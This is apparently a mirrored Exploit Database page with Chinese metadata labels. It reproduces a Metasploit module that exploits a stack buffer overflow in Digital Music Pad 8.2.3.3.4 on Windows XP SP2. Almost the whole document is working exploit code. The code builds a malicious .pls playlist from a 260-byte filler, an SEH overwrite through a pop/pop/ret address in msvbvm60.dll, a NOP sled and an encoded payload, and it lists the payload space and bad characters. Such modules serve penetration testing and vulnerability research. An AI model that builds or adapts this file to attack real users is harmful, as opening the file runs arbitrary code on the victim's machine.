Digital Music Pad 8.2.3.3.4 – Local Stack Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-11-11
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16673/

• ##
  # $Id: digital_music_pad_pls.rb 10998 2010-11-11 22:43:22Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Digital Music Pad Version 8.2.3.3.4 Stack Buffer Overflow',
  			'Description' => %q{
  					This module exploits a buffer overflow in Digital Music Pad Version 8.2.3.3.4
  				When opening a malicious pls file with the Digital Music Pad,
  				a remote attacker could overflow a buffer and execute
  				arbitrary code.
  			},
  			'License' => MSF_LICENSE,
  			'Author' =>
  				[
  					'Abhishek Lyall <abhilyall[at]gmail.com>'
  				],
  			'Version' => '$Revision: 10998 $',
  			'References' =>
  				[
  					[ 'OSVDB', '68178' ],
  					[ 'URL', 'http://secunia.com/advisories/41519/' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/15134' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload' =>
  				{
  					'Space' => 4720,
  					'BadChars' => "\x00\x20\x0a\x0d",
  					'DisableNops' => 'True',
  				},
  			'Platform' => 'win',
  			'Targets' =>
  				[
  					[ 'Windows XP SP2', { 'Ret' => 0x73421DEF } ], # p/p/r msvbvm60.dll
  				],
  			'Privileged' => false,
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Sep 17 2010'))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls']),
  			], self.class)
  	end
  
  	def exploit
  
  		# PLS Header
  		sploit = "\n"
  		sploit << "File1="
  
  		sploit << rand_text_alphanumeric(260)
  		sploit << generate_seh_record(target.ret)
  
  		sploit << "\x90" * 12 # nop sled
  		sploit << payload.encoded
  
  		sploit << "\x90" * (4720 - payload.encoded.length)
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  		file_create(sploit)
  	end
  
  end